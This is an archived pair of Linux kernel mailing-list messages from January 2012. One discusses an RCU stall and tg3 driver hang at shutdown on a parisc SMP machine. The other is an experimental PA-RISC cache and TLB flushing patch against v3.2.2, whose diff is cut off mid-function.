Message-ID: <20120128232336.GB17696@linux.vnet.ibm.com>
References: <1327780565.2924.24.camel@dabdike.int.hansenpartnership.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1327793063 24928 80.91.229.3 (28 Jan 2012 23:24:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 23:24:23 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	netdev <netdev@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Jan 29 00:24:22 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1RrHd5-0003dg-VN
	for glk-linux-kernel-3@plane.gmane.org; Sun, 29 Jan 2012 00:24:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753197Ab2A1XYM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 28 Jan 2012 18:24:12 -0500
Original-Received: from e37.co.us.ibm.com ([32.97.110.158]:56643 "EHLO
	e37.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751804Ab2A1XYJ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 28 Jan 2012 18:24:09 -0500
Original-Received: from /spool/local
	by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 28 Jan 2012 16:24:08 -0700
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 28 Jan 2012 16:23:40 -0700
Original-Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 4987F1FF0049;
	Sat, 28 Jan 2012 16:23:39 -0700 (MST)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q0SNNdfX172144;
	Sat, 28 Jan 2012 16:23:39 -0700
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q0SNNcaD026719;
	Sat, 28 Jan 2012 16:23:39 -0700
Original-Received: from paulmck-ThinkPad-W500 (sig-9-65-32-126.mts.ibm.com [9.65.32.126])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q0SNNbqK026705;
	Sat, 28 Jan 2012 16:23:38 -0700
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 1C84BE519F; Sat, 28 Jan 2012 15:23:37 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1327780565.2924.24.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12012823-7408-0000-0000-0000023C3793
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1245339 gmane.linux.ports.parisc:4119 gmane.linux.network:219091
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1245339>

On Sat, Jan 28, 2012 at 01:56:05PM -0600, James Bottomley wrote:
> It looks like it might be a tg3 or RCU issue.  When I shut down my
> parisc SMP 4 way system, I get an immediate hang here
> 
> Deconfiguring network interfaces...Internet Systems Consortium DHCP
> Client 4.1.1-P1
> Copyright 2004-2010 Internet Systems Consortium.
> All rights reserved.
> For info, please visit https://www.isc.org/software/dhcp/
> 
> Listening on LPF/eth0/00:30:6e:4b:15:59
> Sending on   LPF/eth0/00:30:6e:4b:15:59
> Sending on   Socket/fallback
> DHCPRELEASE on eth0 to 153.66.140.171 port 67
> 
> Followed some seconds later by
> 
> [ 5714.268000] INFO: rcu_sched detected stall on CPU 3 (t=15000 jiffies)
> [ 5714.268000] Backtrace:
> [ 5714.268000]  [<000000004011fdd4>] show_stack+0x14/0x20
> [ 5714.268000]  [<000000004011fdf8>] dump_stack+0x18/0x28
> [ 5714.268000]  [<00000000401c1fec>] __rcu_pending+0xcc/0x5c8
> [ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
> [ 5714.276000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3}
> (detected by 2, t=15002 jiffies)
> [ 5714.276000] Backtrace:
> [ 5714.276000]  [<000000004011fdd4>] show_stack+0x14/0x20
> [ 5714.276000]  [<000000004011fdf8>] dump_stack+0x18/0x28
> [ 5714.276000]  [<00000000401c2484>] __rcu_pending+0x564/0x5c8
> [ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
> [ 5714.276000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
> [ 5714.276000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 5714.276000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
> [ 5714.276000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
> [ 5714.276000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
> [ 5714.276000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
> [ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.276000]  [<00000000401296dc>] cpu_idle+0x74/0x80
> [ 5714.276000]  [<000000004078e1d0>] smp_callin+0x150/0x1a0
> [ 5714.276000] 
> [ 5714.348000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
> [ 5714.348000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 5714.356000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
> [ 5714.364000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
> [ 5714.364000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
> [ 5714.372000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
> [ 5714.372000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 5714.380000] 
> 
> This didn't happen in 3.2
> 
> Sysrq still works and sysrq-T shows ifconfig stuck:
> 
> 
> [ 6030.376000] ifconfig        R  running task        0  1470   1452
> 0x00000014
> [ 6030.376000] Backtrace:
> [ 6030.376000]  [<000000004017c6c8>] scheduler_tick+0x180/0x1a0
> [ 6030.376000]  [<0000000040155e1c>] update_process_times+0xbc/0xd8
> [ 6030.376000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
> [ 6030.376000]  [<00000000401b9d54>] handle_irq_event_percpu+0xfc/0x2a0
> [ 6030.376000]  [<0000000040105074>] intr_return+0x0/0x4
> [ 6030.376000]  [<000000004011c638>] _raw_spin_lock_bh+0x30/0x40
> [ 6030.376000]  [<000000004011c620>] _raw_spin_lock_bh+0x18/0x40
> [ 6030.376000]  [<000000001c6e3a64>] tg3_chip_reset+0x9c4/0x1328 [tg3]
> [ 6030.376000]  [<000000001c6eca9c>] tg3_halt+0xdc/0x1d8 [tg3]
> [ 6030.376000]  [<000000001c6f9964>] tg3_close+0x194/0x3f0 [tg3]
> [ 6030.376000]  [<0000000040411518>] __dev_close_many+0x100/0x178
> [ 6030.376000]  [<0000000040415130>] __dev_close+0x30/0x50
> [ 6030.376000]  [<000000004040ebf8>] __dev_change_flags+0xb0/0x1d0
> [ 6030.376000]  [<00000000404113b0>] dev_change_flags+0x28/0x90
> [ 6030.376000]  [<0000000040488d70>] devinet_ioctl+0x748/0x898
> [ 6030.376000]  [<000000004048a5f4>] inet_ioctl+0x204/0x228

If ifconfig is spinning in the kernel with preemption disabled, the RCU
CPU stall warning is expected behavior.  That said, judging from the
stack traces ifconfig was not running on CPU 3.  But I have seen similar
stack traces when someone forgets to drop a lock.

Do multiple sysrq-T commmands get the same picture, that ifconfig
is spinning on a lock in tg3_chip_reset()?  If so, does this reproduce
with lockdep enabled?

							Thanx, Paul


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Happy New Year PARISC (take 2)
Date: Sun, 29 Jan 2012 16:45:43 -0500
Lines: 1155
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>   <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>   <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>   <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>   <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>   <4F031B1A.4010908@bell.net>  <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>  <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com> <4F034B6B.5020809@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-56--473490567"
X-Trace: dough.gmane.org 1327873581 25767 80.91.229.3 (29 Jan 2012 21:46:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 29 Jan 2012 21:46:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 29 22:46:19 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrcZm-0005ju-IR
	for glpp-linux-parisc@plane.gmane.org; Sun, 29 Jan 2012 22:46:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752973Ab2A2VqR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jan 2012 16:46:17 -0500
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:9026 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753126Ab2A2VqP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jan 2012 16:46:15 -0500
Original-Received: from BLU0-SMTP50 ([65.55.111.135]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 29 Jan 2012 13:46:14 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP50.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 29 Jan 2012 13:46:08 -0800
In-Reply-To: <4F034B6B.5020809@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jan 2012 21:46:11.0436 (UTC) FILETIME=[6A909AC0:01CCDECF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4120>

--Apple-Mail-56--473490567
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Here is take take 2.  It's against linux-stable v3.2.2.  I also have a  
very similar
version against v3.1.10.

This one implements clear_user_highpage and copy_user_highpage.  I
revamped the patch to make it trivial to test the tmpalias and kmap  
versions.
At the moment, it is setup for kmap.

I tested the tmpalias version for a couple of weeks.  I now have more  
than
a week of testing with the latest kmap version.  The general stability  
of the
kmap version is good (i.e., no random segmentation faults).  Of  
course, I
have rebuilt most of userspace with binutils 2.22 and GCC 4.6 to avoid
the non equivalent alias bug present in earlier versions of binutils.

My current impression is the kmap version is better.  With the tmpalias
version, I saw the occasional hpmc in the GCC libgomp testsuite.  I
haven't had one with the kmap version so far.

I believe both versions fix the minifail bug and some thread related  
bugs
seen in the perl, python and git testsuites.  However, there are still  
more
thread related bugs to fix.

The minifail bug is fixed by the TLB purge added to ptep_set_wrprotect,
and flushing the `from' page in copy_user_page (kmap version).  The
tmpalias version doesn't need this flush, but the `to' page needs to be
flushed.  So, both versions have about the same flush requirements.

This version fixes the math emulation bug that I reported, but I have
another one that I haven't tracked down.

It would be great if someone else could test the change on something  
other
than a rp3440.  The cache issues are very subtle.  If the results are  
positive,
I will break up the patch and formally submit it.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-56--473490567
Content-Disposition: attachment; filename="linux-stable-3.2.2-20120129.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.2.2-20120129.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 2388bdb..7839285 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -8,6 +8,29 @@
 #include <asm/atomic.h>
 #include <asm/errno.h>
 
+/* The following has to match the LWS code in syscall.S.  We have
+   sixteen four-word locks. */
+
+static inline void
+_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	local_irq_save(*flags);
+	arch_spin_lock(s);
+}
+
+static inline void
+_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spin_unlock(s);
+	local_irq_restore(*flags);
+}
+
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
@@ -26,7 +49,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -71,7 +94,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 		ret = -ENOSYS;
 	}
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	pagefault_enable();
 
@@ -113,7 +136,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	 * address. This should scale to a couple of CPUs.
 	 */
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	ret = get_user(val, uaddr);
 
@@ -122,7 +145,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 	*uval = val;
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	return ret;
 }
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..14b2a96 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -22,14 +22,25 @@
 #include <asm/cache.h>
 
 #define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define copy_page(to,from)      copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..891b369 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -40,7 +40,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -460,10 +467,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..fb752dc 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -134,7 +134,7 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
-#if 0
+#if 1
 	printk("ic_size %lx dc_size %lx it_size %lx\n",
 		cache_info.ic_size,
 		cache_info.dc_size,
@@ -316,7 +316,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -331,17 +331,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -375,20 +364,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -401,11 +379,24 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	memset(vto, 0, PAGE_SIZE);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -487,18 +478,90 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
+/* While useful for testing, this check has too much overhead for
+   general use.  Thus, it is better to fix inequivalent mappings
+   than whack the cache.  */
+#define DEBUG_PAGE_MAPPING 0
+
+static inline void check_page_mapping(struct page *page)
+{
+#if DEBUG_PAGE_MAPPING
+	struct address_space *mapping = page_mapping(page);
+	struct vm_area_struct *mpnt;
+	struct prio_tree_iter iter;
+	unsigned long offset;
+	unsigned long addr, old_addr = 0;
+	pgoff_t pgoff;
+
+	if (!mapping || !mapping_mapped(mapping))
+		return;
+
+	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
+
+	/* Check that all mappings of a file are congruently mapped */
+
+	flush_dcache_mmap_lock(mapping);
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		addr = mpnt->vm_start + offset;
+		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+			if (old_addr) {
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			}
+			old_addr = addr;
+		}
+	}
+	flush_dcache_mmap_unlock(mapping);
+#endif
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
+/* While flushing by page is slightly less efficient, it allows detection
+   of pages without pte's and mappings with inequivalent aliases.  */
+
+#define FLUSH_CACHE_RANGE_BY_PAGE 0
 
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold
+	    && vma->vm_mm->context == mfsp(3)) {
+#if FLUSH_CACHE_RANGE_BY_PAGE
+		unsigned long addr;
+		pte_t *ptep;
+		pgd_t *pgd = vma->vm_mm->pgd;
+
+		for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+			ptep = get_ptep(pgd, addr);
+			if (!ptep) {
+				/* ??? Why don't we have a pte?  */
+				flush_cache_all();
+				return;
+			}
+			check_page_mapping(pte_page(*ptep));
+			flush_cache_page(vma, addr, pte_pfn(*ptep));
+		}
+#else
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+#endif
 	} else {
 		flush_cache_all();
 	}
@@ -513,3 +576,77 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	clear_user_page_asm(vto, vaddr);
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
